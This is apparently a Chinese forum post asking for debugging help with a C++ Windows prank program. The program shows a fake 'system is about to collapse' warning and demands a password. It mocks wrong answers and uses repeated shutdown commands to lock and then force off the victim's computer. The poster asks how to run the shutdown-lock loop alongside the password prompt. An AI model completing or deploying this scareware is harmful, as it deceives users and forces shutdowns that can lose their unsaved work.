如题，求调

#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
string hint[6]={
	"好臭啊","114514？","1919810？？？","请保存好电脑文件，免受……","ASCLL43","这么傻？没救了呜呜呜"
}; 
long long ins,ans=114514+1919810,tl=0,tm=60,lk=1;
void stlk(){//锁电脑，防止用户关掉程序 
	while(lk==1){
  	system("shutdown -s -t 1");
		Sleep(950);
		system("shutdown -a");
	}
}
int main(){
  ios::sync_with_stdio(0);
  cin.tie(0); cout.tie(0);
  system("shutdown -s -t 100");//防止准备关机时跳出提示，使用户用cmd拯救电脑 
	system("shutdown -a");//死缓 
	//stlk();//锁电脑，本句如何和下文同时进行 
	cout<<"Warning:The system is about to collapse!"<<endl<<"Please insert password:"<<endl;
	for(;tl<6;tl++){
		cin>>ins;
		if(ins==ans){
			cout<<"Right!"<<endl;
			lk=0;//锁 
			system("shutdown -a");
		}
		else cout<<hint[tl]<<endl;//提示 
	}
	Sleep(1500);
	system("shutdown -s");//太笨了，关机 
  return 0;
}